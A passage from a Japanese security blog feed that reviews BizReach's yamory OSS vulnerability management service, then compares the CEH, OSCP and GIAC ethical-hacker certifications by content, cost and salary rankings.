<p>実際の会社では単純にCVSS 7以上は対応する、といった観点でのみ<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>の<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%C8%A5%EA%A5%A2%A1%BC%A5%B8">トリアージ</a>が行われているケースが多いが、CVSSだけでは正確な<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%C8%A5%EA%A5%A2%A1%BC%A5%B8">トリアージ</a>になっていない。</p> <p> </p> <p>Black Hatでも発表された<a href="https://security-index.hatenablog.com/entry/2019/08/16/090000">こちらの記事</a>でも書いたが、CVSS 7以上のものでも実際に悪用されるものは5%程である。</p> <p>また、CVSS 7未満のものでも悪用されるものがある。</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20190815214943j:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20190815/20190815214943.jpg" alt="f:id:security_index:20190815214943j:plain" /></p> <p> </p> <p>そのため、CVSS 7以上という観点だけで<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%C8%A5%EA%A5%A2%A1%BC%A5%B8">トリアージ</a>してしまうと無駄も多く、漏れもある。</p> <p>そのため、yamoryのようにCVSSに加えて、PoCの有無、公開サービスかどうかという軸を加えてより正確な(悪用されるリスクが高い)優先順位付けが行うことができるということはセキュリティ対策に追われている現場には求められているサービスのように感じる。</p> <p> </p> <p>yamoryの<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%C8%A5%EA%A5%A2%A1%BC%A5%B8">トリアージ</a>分析画面は以下のように表示される。</p> <p><img class="hatena-fotolife" title="f:id:security_index:20191014162730p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191014/20191014162730.png" alt="f:id:security_index:20191014162730p:plain" /></p> <p> </p> <h3 id="チームで脆弱性を管理する">チームで<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>を管理する</h3> <h4 id="チーム管理">チーム管理</h4> <p>ここではチームとして「開発チーム」 と「セキュリティチーム」の2つに分けて、それぞれが必要な部分にフォーカスを当てて作業ができるようになっている。</p> <p> </p> <p>「開発チーム」は発見された<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>への対応や<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%EA%A5%DD%A5%B8%A5%C8%A5%EA">リポジトリ</a>へのスキャンが行えるようになっているそうです。</p> <p>「セキュリティチーム」は<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>の確認と必要に応じて対応優先度の変更などもできるそうです。</p> <p> </p> <p>この部分も実際に利用する場面を想定して作成されていると感じ、使い勝手が良さそうな印象を持ちました。</p> <p>それ以外にもアカウント管理のための権限が「組織管理者」「チーム管理者」「メンバー」のように分かれている部分も組織化された環境での利用も想定されています。</p> <p> </p> <h4 id="脆弱性通知"><a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>通知</h4> <p>アカウント管理以外では、メールやslackでの<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>情報の通知機能も実装されています。</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20191014163542p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191014/20191014163542.png" alt="f:id:security_index:20191014163542p:plain" /></p> <p><br /> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20191014163643p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191014/20191014163643.png" alt="f:id:security_index:20191014163643p:plain" /></p> <p> </p> <h3 id="その他">その他</h3> <h4 id="利用ソフトウェアの管理">利用ソフトウェアの管理</h4> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/OSS">OSS</a>の特定ができているので当然ですが、利用しているソフトウェアの一覧表示、またそのソフトウェアの<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>の数の表示もできます。</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20191014163905p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191014/20191014163905.png" alt="f:id:security_index:20191014163905p:plain" /></p> <p> </p> <p>私としてはこの機能もとても重要だと感じています。</p> <p>なぜなら、多くの組織がどんなソフトウェア(<a class="keyword" href="http://d.hatena.ne.jp/keyword/OSS">OSS</a>)を利用しているのかの管理をできていないというのが現状だと思っているからです。</p> <p> </p> <p>CIS Controlsという米国<a class="keyword" href="http://d.hatena.ne.jp/keyword/%B9%F1%B2%C8%B0%C2%C1%B4%CA%DD%BE%E3%B6%C9">国家安全保障局</a>(<a class="keyword" href="http://d.hatena.ne.jp/keyword/NSA">NSA</a>)等の米国の公的機関も作成に関わっている情報セキュリティの<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%AC%A5%A4%A5%C9%A5%E9%A5%A4%A5%F3">ガイドライン</a>のBasicの2に書かれているように、ソフトウェアのインベントリ管理はセキュリティにとっても重要なポイントです。</p> <p>(CIS Controlsについては<a href="https://www.secure-sketch.com/blog/cis-critical-security-controls">こちらの記事</a>がお勧め)</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20191014164558p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191014/20191014164558.png" alt="f:id:security_index:20191014164558p:plain" /></p> <p> </p> <p>ソフトウェアのイベントリ管理が正確にできていれば、世の中で深刻な<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>が報告された際にすぐにどのアプリに影響があるのかの特定ができる、不正な<a class="keyword" href="http://d.hatena.ne.jp/keyword/OSS">OSS</a>が追加された場合にすぐに確認できるなども(理想的には)実現できます。</p> <p> </p> <p>それ以外にも、ライセンスの観点で問題がないかどうかの確認もできるかもしれません。</p> <p> </p> <h3 id="追加機能の提案">追加機能の提案</h3> <p>もし、自分がyamoryの開発者であれば、という視点で追加機能を検討してみました。</p> <p> </p> <h4 id="脆弱性情報の拡張"><a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>情報の拡張</h4> <p>おそらくNVDの情報を元に<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>情報を作成していると思われます。</p> <p>しかし、私が<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>調査を行った経験上、NVDの情報(特に<a class="keyword" href="http://d.hatena.ne.jp/keyword/cpe">cpe</a>のバージョン情報)は間違っていることがたまにあります。</p> <p>CVSSのスコアも詳細な記述なくかなり高いスコアが設定されていることもあります。</p> <p> </p> <p>開発者やセキュリティ担当者がひとつひとつ詳細に確認する手間を減らすためにもより詳細な情報や正しい情報が利用できると良いのでは、と思います。</p> <p><a href="https://vulndb.cyberriskanalytics.com">VulnDB</a>の情報を利用する、独自に<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>情報DBを拡張するなど。</p> <p>(補足)</p> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>DBの開発を現在行っているようです。</p> <p> </p> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/OSS">OSS</a><a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>セキュリティリサーチャーの仕事に以下の業務がありました。</p> <blockquote> <p>・<a class="keyword" href="http://d.hatena.ne.jp/keyword/OSS">OSS</a><a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>DBの構築運用ための調査業務<br />・<a class="keyword" href="http://d.hatena.ne.jp/keyword/OSS">OSS</a><a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>DBの構築、運用<br />・必要に応じて、下記業務<br /> - <a class="keyword" href="http://d.hatena.ne.jp/keyword/OSS">OSS</a><a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>DBの構築運用管理ツールの開発運用<br /> - <a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a><a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%AF%A5%ED%A1%BC%A5%E9%A1%BC">クローラー</a>や攻撃コード収集<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%AF%A5%ED%A1%BC%A5%E9%A1%BC">クローラー</a>の開発<br /> - その他リサーチに必要なツール開発<br /> - <a class="keyword" href="http://d.hatena.ne.jp/keyword/OSS">OSS</a><a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>に関するレポートや記事原案作成</p> </blockquote> <p> </p> <h4 id="OSSの脆弱性管理以外も対応"><a class="keyword" href="http://d.hatena.ne.jp/keyword/OSS">OSS</a>の<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>管理以外も対応</h4> <p>これに関してはオフィシャルにも書かれているので今後対応されそうです。</p> <p> </p> <blockquote> <p>現在は<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%AA%A1%BC%A5%D7%A5%F3%A5%BD%A1%BC%A5%B9">オープンソース</a>のセキュリティのみをテーマにしていますが、将来的にインフラ/NW、OS/MW、コード/ロジックもスコープに入れていきます。</p> </blockquote> <p> </p> <p>有償のセキュリティの<a class="keyword" href="http://d.hatena.ne.jp/keyword/OSS">OSS</a>管理としては<a href="https://vuls.biz/">FutureVuls</a>によるサーバー側の<a class="keyword" href="http://d.hatena.ne.jp/keyword/OSS">OSS</a><a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>管理があり、上記のオフィシャルの記述を見ると、FutureVulsのようにサーバー側の<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>管理も行いそうです。</p> <p> </p> <p>私としては、最近のトレンドであるコンテナの<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>スキャン機能があるとよりツールの魅力が高まるように思います。</p> <p><a href="https://github.com/aquasecurity/trivy">Trivy</a>などの<a class="keyword" href="http://d.hatena.ne.jp/keyword/OSS">OSS</a>のコンテナ<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>スキャナもあるので取り込むのも良さそうです。</p> <p> </p> <p>また、<a class="keyword" href="http://d.hatena.ne.jp/keyword/AWS">AWS</a>といった<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%AF%A5%E9%A5%A6%A5%C9">クラウド</a>側のセキュリティ設定をスキャンし、<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>なものを発見する、といったこともできるとかなり良さそうです。</p> <p> </p> <h4 id="マシンリーダブルな出力">マシンリーダブルな出力</h4> <p>多くの組織で求められそうな機能はyamoryでの出力結果を2次利用したいというものではないでしょうか。</p> <p>このyamoryを使う会社の想定はある程度技術力のあるIT系の会社だと思われますので、スキャンした結果を社内で再度利用しやすい形に変形したり、再配布したりする場面が想像できます。</p> <p>もちろん、yamory側で完結できるように機能追加していくとは思いますが、どうしても各企業で求められるものが違ってくるのでデータの再利用ができると利用者には便利だと思います。</p> <p>(例えば、利用者側で統計的に何か見たい、ソフトウェアのインベントリ管理に使いたいなど)</p> <p> </p> <p> </p> <h4 id="毎日利用されるような機能の追加">毎日利用されるような機能の追加</h4> <p>多くの会社では、<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>のスキャンを含めて毎日yamoryを使ってセキュリティ対応をする、ということはないように感じます。</p> <p>たまにしか使わないツールというのはどうしても使い方を忘れたりして利用されなくなる運命にあるように思っています。</p> <p>そのためにも、毎日使われるようなツールになるように新たな機能が必要かもしれません。</p> <p>例えば、利用者に関係しそうなセキュリティのニュースを表示するなど、毎日ツールに変化が現れるような機能が考えられると思います。</p> <p> </p> <h4 id="OSS以外のセキュリティにも対応"><a class="keyword" href="http://d.hatena.ne.jp/keyword/OSS">OSS</a>以外のセキュリティにも対応</h4> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/OSS">OSS</a>のセキュリティを強化するというだけでも十分に効果が期待できると思いますが、そもそものコードがよくなければ<a class="keyword" href="http://d.hatena.ne.jp/keyword/OSS">OSS</a>のセキュリティが良くてもセキュリティ上問題になります。</p> <p>最近では<a class="keyword" href="http://d.hatena.ne.jp/keyword/Github">Github</a>自体にもいくつかセキュリティ機能が追加されてはいると思うが、セキュリティに関わるコードチェック機能の追加が少しずつでも追加されていくとyamoryの価値が高まっていくのでは、と思っています。</p> <p> </p> <h4 id="ライセンスの特定">ライセンスの特定</h4> <p>セキュリティと同様に注目されるものとしてライセンスもあると思います。</p> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/OSS">OSS</a>の名前、バージョンが特定できていますので、ライセンスのDBのようなものが構築され、照合ができればライセンスの確認もできると思います。</p> <p>また、<span style="color: #333333; font-family: -apple-system, system-ui, 'Segoe UI', 'Helvetica Neue', 'Hiragino Kaku Gothic ProN', メイリオ, meiryo, sans-serif; font-size: 16px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: #ffffff; text-decoration-style: initial; text-decoration-color: initial; display: inline !important; float: none;"><a href="https://www.fossology.org/">FOSSology</a>のようなツールも組み込むことでライセンスの把握ができるかもしれません。</span></p> <p>(私はFOSSologyを使ったことがありませんが。。。)</p> <p> </p> <p>さらに、そのライセンスが違反していないかどうかの確認までできると他のサービスの一歩先にいけると思います。</p> <p> </p> <h3 id="参考">参考</h3> <h4 id="yamoryのプロダクトオーナーに聞くビズリーチがサイバーセキュリティの分野に進む理由">yamoryのプロダクトオーナーに聞く、<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%D3%A5%BA%A5%EA%A1%BC%A5%C1">ビズリーチ</a>がサイバーセキュリティの分野に進む理由</h4> <p><iframe class="embed-card embed-blogcard" style="display: block; width: 100%; height: 190px; max-width: 500px; margin: 10px 0px;" title="yamoryのプロダクトオーナーに聞く、ビズリーチがサイバーセキュリティの分野に進む理由 - Reach One|株式会社ビズリーチ(BizReach)【企業公式ブログ】" src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Freachone.bizreach.co.jp%2Fentry%2F2019%2F09%2F27%2F180245" frameborder="0" scrolling="no"></iframe><cite class="hatena-citation"><a href="https://reachone.bizreach.co.jp/entry/2019/09/27/180245">reachone.bizreach.co.jp</a></cite></p> <p> </p> <p>yamoryの立ち上げに関わった鈴木 康弘さんへのインタビュー記事。</p> <p> </p> <blockquote> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%D2%A5%A2%A5%EA">ヒアリ</a>ングをしていくなかで、セキュリティチームがどのような<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%A2%A1%BC%A5%AD%A5%C6%A5%AF%A5%C1%A5%E3">アーキテクチャ</a>ーで、どの<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%AA%A1%BC%A5%D7%A5%F3%A5%BD%A1%BC%A5%B9">オープンソース</a>を使っているか把握していないケースが多く、それを知りたいというニーズが高いことがわかりました。</p> </blockquote> <p> </p> <p>この問題はやはりどの会社でも起こっている問題だと私も感じています。</p> <p>現状どのようになっているのかわからない、という状態は何か問題があった時にセキュリティ以外の側面でも対応の遅れなどに繋がるので解決できれば大きなメリットだと思います。</p> <p> </p> <blockquote> <p>また、<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>をクローリングしてアラートを出す段階までは、比較的すぐにプロトタイプを作ることができたのですが、その先に、対応優先度がわからないと実際に運用するときに問題だということがわかってきたんです。</p> </blockquote> <p> </p> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>を洗い出す、という作業は上記にも書きましたら多くの<a class="keyword" href="http://d.hatena.ne.jp/keyword/OSS">OSS</a>のツールもあり、できないことではないと思います。</p> <p>しかし、大量に表示される<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>に対してどうするのか、という問題が次に現れます。</p> <p>ひとつひとつしっかり確認すれば確かに対応すべき<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>の判断ができるのですが、明らかに非効率。</p> <p>ここへのアプローチが今後多くの<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>管理ツールの課題、差別化要因になるのでは、と思います。</p> <p> </p> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%B7%A5%CE%A5%D7%A5%B7%A5%B9">シノプシス</a>の<a href="https://www.synopsys.com/ja-jp/software-integrity/security-testing/software-composition-analysis.html">Black Duck</a>がyamoryと近いサービスと思いますが、独自の<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>に関する見解を提供し、利用者が対応の判断などに利用できるようにしているようです。</p> <p>それ以外にもバイナリ解析など、Web系ではあまり使わない機能もあるので、Web系に特化した形でyamoryが提供できれば差別化に繋がり、世界とも戦えるかもと思います。</p> <p> </p> <p>(2019/10/27 追記)</p> <p>無料トライアルが開始され、レビュー記事を書きました。</p> <p>以下の記事も一緒にどうぞ。</p> <p><a href="https://security-index.hatenablog.com/entry/2019/10/27/210000">ビズリーチのOSS 脆弱性管理サービス yamory 無料トライアル 使ってみた 他のツールとの比較などのレビュー - Security Index</a></p> <p> </p> <p> </p> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/Twitter">Twitter</a> アカウント</p> <p><a href="https://twitter.com/security_index">Security Index (@security_index) | Twitter</a></p> security_index 倫理的ハッカー資格 CEH vs OSCP どっちを受けるべきか hatenablog://entry/26006613414319327 2019-09-01T19:51:15+09:00 2020-09-27T17:46:33+09:00 ネット上でよく議論される話題である CEH vs OSCP に関して、10年以上セキュリティのトレーナーとして活躍し、CEH, OSCP, ISO 27001主任監査員でもあるGabriel Avramescuの記事を参考にまとめる。 <p>ネット上でよく議論される話題である CEH vs OSCP に関して、10年以上セキュリティのトレーナーとして活躍し、CEH, OSCP, ISO 27001主任監査員でもあるGabriel Avramescuの<a href="https://learn.ituniversity.ro/blog/19153/ceh-oscp-ethical-hacker-career">記事</a>を参考にまとめる。</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20190901114229p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20190901/20190901114229.png" alt="f:id:security_index:20190901114229p:plain" /></p> <p> </p> <p> </p> <h3>CEH</h3> <p> </p> <p>CEHはより理論的な部分を重要視しており、セキュリティの知識が少ない人のために作られた研修、資格になっている。</p> <p>ハンズオンもあるが、範囲は限られている。</p> <p> </p> <p>コースは以下の20のモジュールがあり、Web、モバイル、クラウドへのアタックから対策まで扱うが、内容としては概要レベルになる。</p> <p> </p> <p>脆弱性解析やIoTハッキングなども新しい話題のもの取り入れている。</p> <p>これは、2,3年にモジュールの変更が行われ、最新のセキュリティについても学べるようになっているようだ。</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20190901114824p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20190901/20190901114824.png" alt="f:id:security_index:20190901114824p:plain" /></p> <p> </p> <p>全体として、幅広い範囲のセキュリティの基礎知識をつけられるようになっているが、実際にアタックができるレベルまでは踏み込まないものになっている。</p> <p> </p> <h3>OCSP </h3> <p> </p> <p>一方、OSCPは、より自己学習が求められる資格である。</p> <p> </p> <p>教育のために提供されるものは、特定の攻撃を説明するビデオとPDF、ラボネットが提供され、かなり技術的な部分にフォーカスしている。</p> <p>CEHとは異なり攻撃の種類や概要よりも実践的なツールを使った攻撃方法や実際にアタックする方法を学ぶことができる。</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20190901171657p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20190901/20190901171657.png" alt="f:id:security_index:20190901171657p:plain" /></p> <p> </p> <p>また、提供されるビデオとPDFはほんの始まりでしかなく、VPNで接続するラボネットワークで提供されている50以上のサーバーをハッキングしていくことで能力を身につけていく必要がある。</p> <p> </p> <p> </p> <p>Gabriel Avramescuさんの意見では、CEH → ECSA (日本ではまだ提供されていない) →  OSCP の順に取ることをオススメしている。</p> <p> </p> <p>また、より早く進めたい人は CEH → OSCP の順でも良い。</p> <p> </p> <p>セキュリティに関する基礎的な知識がない人にとってはCEHでセキュリティの概要を理解する、ということはとても効果的な方法のように思える。</p> <p> </p> <p>また、OSCPは自学が求められるため、ある程度自分の力で進められるだけの能力がない段階での受講はオススメできない。</p> <p> </p> <p>費用面で比較すると</p> <p>・CEH : 498,000円 (5日間の座学研修、テキスト、受験料込み)</p> <p>・OSCP : 800ドル(30日のラボネット使用料+テキスト+試験料) ~ 1,150ドル(90日のラボネット使用料+テキスト+試験料) (約12万)</p> <p> </p> <p> OSCPは現地での研修がないため、かなり安くなっている。</p> <p>また、初めての人は90日のラボネットがオススメのようだ。</p> <p> </p> <p>2019年のGlobal Knowledge TrainingによるIT関連資格と年収のランキングではCEHが11位にランクインしている。</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20190901143954p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20190901/20190901143954.png" alt="f:id:security_index:20190901143954p:plain" /></p> <p><a href="https://www.globalknowledge.com/us-en/resources/resource-library/articles/top-paying-certifications/">15 Top-Paying IT Certifications for 2019 | Global Knowledge</a></p> <p> </p> <p>(ちなみに、1位はGoogleのプロフェッショナルクラウドアーキテクト)</p> <p> </p> <p>(更新) 2020年のランキングではCEHはランク外になっている。</p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200530/20200530095826.png" alt="f:id:security_index:20200530095826p:plain" title="f:id:security_index:20200530095826p:plain" class="hatena-fotolife" itemprop="image" /></p> <p> </p> <p><a href="https://www.globalknowledge.com/us-en/resources/resource-library/articles/top-paying-certifications/">15 Top-Paying IT Certifications for 2020 | Global Knowledge</a></p> <p> </p> <p>2年連続でGoogleのプロフェッショナルクラウドアーキテクトが1位となっている。</p> <p> 2019年と 2020年を比較するとCISM, CRISC, CISSPのようなセキュリティのマネジメント系の資格がより求められているように感じられる。</p> <p> </p> <h3>GIAC </h3> <p> </p> <p>CEHやOSCPでは以上のような比較になるが、セキュリティテスト、ペンテストの資格ではSANSのGIACがある。</p> <p> </p> <p>GIACはペンテストの資格だけでなく、インシデントレスポンス、マルウェア解析などセキュリティの幅広い資格が基礎的なレベルのものからハイレベルのものまで多くある。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200530/20200530101217.png" alt="f:id:security_index:20200530101217p:plain" title="f:id:security_index:20200530101217p:plain" class="hatena-fotolife" itemprop="image" /></p> <p><a href="https://www.sans.org/media/security-training/roadmap.pdf">https://www.sans.org/media/security-training/roadmap.pdf</a></p> <p> </p> <p>しかし、日本で開催されている講座は限られている。</p> <p>また、価格も710,000円 ~ 760,000円ほどするため個人で受けることは難しい。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200530/20200530101736.png" alt="f:id:security_index:20200530101736p:plain" title="f:id:security_index:20200530101736p:plain" class="hatena-fotolife" itemprop="image" /></p> <p><a href="https://www.sans-japan.jp/annual_schedule">年間開催スケジュール</a></p> <p> </p> <p>CEH, OSCP, SANS GIAC それぞれメリット・デメリットがあるため、そこを理解して自分にあったものを選ぶ必要がある。</p> <p> </p> <p>CEHに関してはアマゾンで英語の参考書を買うことができるのでそちらで内容の確認ができるのでどれを受けるべきかの検討材料として利用することができる。</p> <p> </p> <p><a href="https://www.amazon.co.jp/Certified-Ethical-Hacker-Guide-Fourth/dp/126045455X/ref=as_li_ss_il?_encoding=UTF8&amp;pd_rd_i=126045455X&amp;pd_rd_r=82564b53-ae11-496d-8bcc-190de55e1ce3&amp;pd_rd_w=8I396&amp;pd_rd_wg=o3EjB&amp;pf_rd_p=a59dc42f-a014-45fd-8edf-e40e928f5ff8&amp;pf_rd_r=92RG85E53RAQK0HNJ0D7&amp;psc=1&amp;refRID=92RG85E53RAQK0HNJ0D7&amp;linkCode=li2&amp;tag=umimimi-22&amp;linkId=af093f5a07e8867558a3a9dfb2b64794&amp;language=ja_JP" target="_blank"><img border="0" src="//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&amp;ASIN=126045455X&amp;Format=_SL160_&amp;ID=AsinImage&amp;MarketPlace=JP&amp;ServiceVersion=20070822&amp;WS=1&amp;tag=umimimi-22&amp;language=ja_JP" /></a><img src="https://ir-jp.amazon-adsystem.com/e/ir?t=umimimi-22&amp;language=ja_JP&amp;l=li2&amp;o=9&amp;a=126045455X" width="1" height="1" border="0" alt="" style="border: none !important; margin: 0px !important;" /></p> <p><a href="https://amzn.to/2XMxB4i">CEH Certified Ethical Hacker Exam Guide (All-In-One)</a></p> <p> </p> <h3>参考</h3> <p>CISSPの日本語の公式ガイドブックもあるのでハッカーの資格ではなくマネジメントよりに進みたい人はこちらが参考になる。</p> <p> </p> <p><a href="https://www.amazon.co.jp/%E6%96%B0%E7%89%88-CISSP-CBK-%E5%85%AC%E5%BC%8F%E3%82%AC%E3%82%A4%E3%83%89-%E3%82%A2%E3%83%80%E3%83%A0%E3%83%BB%E3%82%B4%E3%83%BC%E3%83%89%E3%83%B3-ebook/dp/B07HFPNR6B/ref=as_li_ss_il?__mk_ja_JP=%E3%82%AB%E3%82%BF%E3%82%AB%E3%83%8A&amp;dchild=1&amp;keywords=CISSP&amp;qid=1590801861&amp;sr=8-1&amp;linkCode=li2&amp;tag=umimimi-22&amp;linkId=da7dd98ba1f74a83ea99f6e7062c9fd4&amp;language=ja_JP" target="_blank"><img border="0" src="//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&amp;ASIN=B07HFPNR6B&amp;Format=_SL160_&amp;ID=AsinImage&amp;MarketPlace=JP&amp;ServiceVersion=20070822&amp;WS=1&amp;tag=umimimi-22&amp;language=ja_JP" /></a><img src="https://ir-jp.amazon-adsystem.com/e/ir?t=umimimi-22&amp;language=ja_JP&amp;l=li2&amp;o=9&amp;a=B07HFPNR6B" width="1" height="1" border="0" alt="" style="border: none !important; margin: 0px !important;" /></p> <p><a href="https://amzn.to/3ercZW2">新版 CISSP CBK 公式ガイド</a> </p> <p>価格が 24,200円とかなり高いが、日本語でかつページ数も2552ページほどあるようなので英語が苦手な方にはかなり役に立つものだと思う。</p> <p> </p> <p>個人で資格ではなく教育を受けるのであれば、<a href="https://px.a8.net/svt/ejp?a8mat=35NOUD+FJ21TE+3L4M+BW8O2&amp;a8ejpredirect=https%3A%2F%2Fwww.udemy.com%2F%3Fdeal_code%3DJPA8DEAL2PERCENTAGE%26aEightID%3Ds00000016735001" target="_blank" rel="nofollow">Udemy</a>もおすすめである。</p> <p> </p> <p>Gabriel AvramescuもUdemyも講師としていくつか講座を提供している。</p> <p> </p> <p><a href="https://px.a8.net/svt/ejp?a8mat=35NOUD+FJ21TE+3L4M+BW8O2&amp;a8ejpredirect=https%3A%2F%2Fwww.udemy.com%2Fadvanced-mobile-penetration-testing-of-android-applications%2F%3Fdeal_code%3DJPA8DEAL2PERCENTAGE%26aEightID%3Ds00000016735001" target="_blank" rel="nofollow">Mobile Penetration Testing of Android Applications</a> <img src="https://www12.a8.net/0.gif?a8mat=35NOUD+FJ21TE+3L4M+BW8O2" alt="" width="1" height="1" border="0" /></p> <p><a href="https://px.a8.net/svt/ejp?a8mat=35NOUD+FJ21TE+3L4M+BW8O2&amp;a8ejpredirect=https%3A%2F%2Fwww.udemy.com%2Fcourse%2Flearn-server-security-with-bitninja%2F%3Fdeal_code%3DJPA8DEAL2PERCENTAGE%26aEightID%3Ds00000016735001" target="_blank" rel="nofollow">Learn Server Security With BitNinja</a> <img src="https://www13.a8.net/0.gif?a8mat=35NOUD+FJ21TE+3L4M+BW8O2" alt="" width="1" height="1" border="0" /></p> <p> </p> <p>英語で勉強するならこちらもおすすめです。</p> <p><a href="https://security-index.hatenablog.com/entry/2020/05/30/163931">英語のオライリー本読み放題サブスクO’Reilly online learningを使ってみたらとても良かった - Security Index</a></p> <p> </p> <p> </p> <p><iframe style="width: 120px; height: 240px;" src="//rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank&amp;bc1=000000&amp;IS2=1&amp;bg1=FFFFFF&amp;fc1=000000&amp;lc1=0000FF&amp;t=umimimi-22&amp;language=ja_JP&amp;o=9&amp;p=8&amp;l=as4&amp;m=amazon&amp;f=ifr&amp;ref=as_ss_li_til&amp;asins=B07JJKLZNW&amp;linkId=063d8aa763367c2f40277bed4eb9fb6b" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe> <iframe style="width: 120px; height: 240px;" 